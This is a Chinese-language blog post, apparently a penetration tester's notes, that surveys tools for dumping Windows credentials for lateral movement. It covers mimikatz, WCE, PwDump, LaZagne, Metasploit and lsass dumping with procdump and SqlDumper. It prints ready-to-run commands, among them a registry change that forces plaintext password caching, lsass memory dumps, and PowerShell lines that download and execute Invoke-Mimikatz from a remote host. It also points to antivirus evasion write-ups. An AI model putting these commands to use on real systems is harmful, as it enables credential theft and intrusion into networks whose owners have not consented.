windows中抓取hash小结(上)
我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个“前提”-----如何在windows系统中抓hash
0x01 前言
事先声明,本文还是暂时不考虑免杀的问题,有些杀软十分变态,针对lsass等关键部位的防护非常好,一有风吹草动立刻报警,绕过方法还有待测试......不过这并不耽误我整理一下小知识点(怒)
本文中提到的“杀软”只是特指 XX安全软件 这一款安全产品,仅反映当前杀软的一个查杀趋势,不代表所有杀软,毕竟这东西能力有强有弱侧重点也有不同
先说一下windows系统的身份认证机制
windows中身份认证机制主要有两种:ntlm 、kerberos。ntlm用于本地和早期工作组环境(lm太老了不讨论),kerberos用于域环境
其中ntlm应用非常广,既能用于有域环境的认证,也能用于没域环境的认证
当ntlm用于没域环境的本地认证时:开机调用登录框让你输密码,系统把密码传给lsass.exe进程。lsass把你输入的密码二话不说先在内存中存一份明文的,当把明文密码加密成NTLM hash之后和windows系统本地存储的SAM数据库中这个登录用户的NTLM hash进行对比,如果一致则登录成功
当ntlm用于有域环境的网络认证时:可以使用kerberos,也可以使用ntlm。这里的ntlm基于一种叫做challenge/response的机制(具体不展开了,网上有讲细节的),这个过程会用到域控中的本地数据库ntds.dit(这里有域用户的ntlm hash)
可见整个过程都没有明文密码啥事情
0x02 从SAM或lsass进程中抓取
SAM在windows路径C:\\windows\System32\config下,是个锁定的不可复制的文件,于是在系统运行的时候经常在内存中找凭证
1.mimikatz
啊,这个,就不说了,之前文章演示好多了
要抓哪台机器就在哪台机器上运行,管理员权限运行
高版本windows系统(win10、win2012 R2以上版本存在只能抓hash不能抓明文的问题,会显示null,因为系统内存缓存中不再存有明文了)抓取明文存在问题,hash可以
想要继续抓明文要改注册表:
命令-------- reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
对方目标机器再次登录就能用mimikatz抓明文了,但一般来说会把lsass转出来拖回本地来规避杀软,这个后面小点再说
然而mimikatz不做免杀,基本上就会被杀软直接干掉,秒没
这里有一个人R1ngk3y 有关mimikatz如何不被杀的一些思路,时间也比较久了,截止今日不知是否都还能用,未经验证仅供参考:https://www.freebuf.com/articles/web/176796.html
2.getpass
一个可以直接获得明文密码的工具,年久失修,虽然很多人提过这款工具,但我是没用过的,电脑里也没有(请原谅我的无知)
3.wce
啊,简单粗暴
wce.exe -w 抓明文
wce.exe -l 抓hash
下载地址(链接来自看雪)
http://www.ampliasecurity.com/research/wce_v1_4beta_x32.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_x64.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
4.PwDump7
保证这俩在一个目录下,直接cmd运行
但是,抓出来的结果一言难尽......直接运行百分百被杀软杀,不运行也可能被杀
PwDump8
效果要比PwDump7好得多
该抓的都抓到了,且没有被杀掉
5.Quarks PwDump
也是直接cmd运行的
Quarks PwDump.exe --dump-hash-local 导出本地hash
效果与PwDump7差不多,也是运行必被杀
6.powershell
不做特殊说明,以下脚本都默认会被查杀
(1)Invoke-Mimikatz.ps1
用的是nishang里面带的
在本地运行
这个脚本还可以远程加载如:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.25.203/');Invoke-Mimikatz -DumpCreds"
但是这种动作和行为性质非常恶劣,一定会被杀软查杀的
于是有了各种各样免杀的手段,特别好玩
我推荐大佬 Tide重剑无锋 的这篇文章 https://www.freebuf.com/news/234365.html
(我直呼好家伙,发律师函的怕不是手都发麻了)
(2)Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('Get-PassHashes.ps1所在路径');Get-PassHashes
啊,也是从nishang里面捞的
还行,效果一般
7.Procdump+mimikatz
procdump,官方工具(意味着不会被当成病毒杀了),可将lsass.exe转储成dmp文件
procdump.exe -accepteula -ma lsass.exe lsass.dmp #32位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统
然后用mimikatz读取
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
当然前提还是在目标机上读取的话,要免杀mimikatz,不然就拖回来读取
8.注册表+mimikatz
首先在目标机器上执行下图的命令导出三个文件,然后通过shell或者IPC$ copy或者net use共享或者什么办法把这三个文件下载回攻击机
然后在本地上就可以用mimikatz来读取这三个文件了
至于去破解还是去干嘛就随意了
9.LaZagne
基于py,密码抓取神器,能一键提取各种密码:浏览器、git、WiFi......
这东西本身是py的,也有exe格式的
下载链接:https://github.com/AlessandroZ/LaZagne
https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3
个人觉得还是exe的好用,py的需要安一堆依赖
运行权限越高可能抓到的密码就越多
非常强悍,看得我后背发凉(还顺便找到了几个我自己都忘了是啥的密码)真就是啥都能抓到,既有hash也有明文糊脸
(另:cmd窗体的结果如果看不全的话,把屏幕缓冲区大小调大即可)
LaZagne有很多功能,详细命令网上有,不列举了
但同样的问题,就是免杀,我本机上XX安全软件没有报警不意味着这个工具就是直接可用的
10.框架调用
msf中获得meterpreter后,在meterpreter>load mimikatz之后msv可获取hash(具体例子可以去翻我的第一篇博客,有关域渗透小实验的那个)
先提个权getsystem
msv 获取hash
kerberos 获取明文
mimikatz_command -f samdump::hashs 获取hash
mimikatz_command -f sekurlsa::searchPasswords 获取明文
这只是理论上的,实际上可能因为各种原因,失败抓不到也很正常......
或者调用smart_hashdump脚本
run windows/gather/smart_hashdump
效果会好一些
另外,cobalt strike与Empire中也能调用mimikatz,这个找机会讲到这俩的时候再说吧
11.SqlDumper
又一个微软的东西,SQLserver2000以上自带,作用就是将应用程序转储成dump文件
我手中没有MSSQL环境了,无法演示了,大致过程如下:
先在目标机器中找lsass的PID号
然后把这个号带入 sqldumper.exe ProcessID 0 0x01100 这个语句中执行
会导出一个mdmp文件,下载回本地mimikatz解析
(写着写着刹不住车了,太长了影响观感。剩下内容就留到 windows中抓取hash小结(下) 中了)
请转到windows中抓取hash小结(下)
指路链接 https://www.cnblogs.com/lcxblogs/p/14002468.html
随便转载,请标明作者出处
windows中抓取hash小结(上)的更多相关文章
- windows中抓取hash小结(下)
书接上回,windows中抓取hash小结(上) 指路链接 https://www.cnblogs.com/lcxblogs/p/13957899.html 继续 0x03 从ntds.dit中抓取 ...
- windows密码抓取工具-mimikatz
前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...
- 利用wireshark抓取远程linux上的数据包
原文发表在我的博客主页,转载请注明出处. 前言 因为出差,前后准备总结了一周多,所以博客有所搁置.出差真是累人的活计,不过确实可以学习到很多东西,跟着老板学习做人,学习交流的技巧.入正题~ wires ...
- 【应用服务 App Service】App Service中抓取网络日志
问题描述 众所周知,Azure App Service是一种PaaS服务,也就是说,IaaS层面的所有内容都由平台维护,所以使用App Service的我们根本无法触碰到远行程序的虚拟机(VM), 所 ...
- ListView与.FindControl()方法的简单练习 #2 -- ItemUpdting事件中抓取「修改后」的值
原文出處 http://www.dotblogs.com.tw/mis2000lab/archive/2013/06/24/listview_itemupdating_findcontrol_201 ...
- FETCH - 用游标从查询中抓取行
SYNOPSIS FETCH [ direction { FROM | IN } ] cursorname where direction can be empty or one of: NEXT P ...
- 使用 usbmon 抓取 usb 总线上的数据
使用 usbmon 抓取 usb 总线上的数据 usbmon 即 usb monitor,是 linux 内置的 usb 抓包工具.usbmon 本质是一个内核模块,在我的 ubuntu14.0 4中 ...
- windows中抓包命令,以及保存为多个文件的方法
本文主要介绍windows中抓包命令,以及保存为多个文件的方法 说一说保存为多个文件存储数据包这个问题的由来,一般如果长时间抓包,有可能需要等上几个小时,因为这个时候抓包的内容都是存放在内存中的,几个 ...
- java练习题(字符串类):显示4位验证码、输出年月日、从XML中抓取信息
1.显示4位验证码 注:大小写字母.数字混合 public static void main(String[] args) { String s="abcdefghijklmnopqrstu ...
随机推荐
- springboot集成swagger添加消息头(header请求头信息)
springboot集成swagger上篇文章介绍: https://blog.csdn.net/qiaorui_/article/details/80435488 添加头信息: package co ...
- WPF技巧:命中测试在视觉树中的使用
我们有时候又需求从当前视觉树中找一些东西,比如鼠标按下的时候,看看鼠标下的元素都有什么.又比如某块区域下有哪些元素?某个坐标点下有哪些元素? 这些需求在使用 命中测试的时候,可以非常方便和快速的去找到 ...
- linux驱动之获取设备树信息
上一篇文章学习了字符设备的注册,操作过的小伙伴都知道上一篇文章中测试驱动时是通过手动创建设备节点的,现在开始学习怎么自动挂载设备节点和设备树信息的获取,这篇文章中的源码将会是我以后编写字符驱动的模板. ...
- 机器学习Sklearn系列:(三)决策树
决策树 熵的定义 如果一个随机变量X的可能取值为X={x1,x2,..,xk},其概率分布为P(X=x)=pi(i=1,2,...,n),则随机变量X的熵定义为\(H(x) = -\sum{p(x)l ...
- Android系统编程入门系列之界面Activity交互响应
在上篇文章中已经了解到界面Activity的绘制完全依赖其加载的视图组件View,不仅如此,用户的每次触摸操作都可以在界面Activity内接收并响应,也可以直接传递给其中的某个视图View响应.本文 ...
- Mysql学生课程表SQL面试集合
现有如下2个表,根据要求写出SQL语句. student表:编号(sid),姓名(sname),性别(sex) course表:编号(sid),科目(subject),成绩(score) 问题1:查 ...
- 痞子衡嵌入式:串行NOR Flash的页编程模式对于量产时间的影响
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是串行NOR Flash的页编程模式对于量产时间的影响. 任何嵌入式产品最终都绕不开量产效率话题,尤其是对于主控是非内置 Flash 型 ...
- DNS域名解析四种配置实验 ---Linux DNS域名解析服务
DNS域名解析服务一.BIND域名服务基础1) DNS的定义2)域名结构3)DNS系统的作用① 正向解析:根据域名查找对应的IP地址② 反向解析:根据IP地址查找对应的域名③ DNS系统的分布式数据结 ...
- ROS轮椅
- 如何快速更新长缓存的 HTTP 资源
前言 HTTP 缓存时间一直让开发者头疼.时间太短,性能不够好:时间太长,更新不及时.当遇到严重问题需紧急修复时,尽管后端文件可快速替换,但前端文件仍从本地缓存加载,导致更新长时间无法生效. 对于这个 ...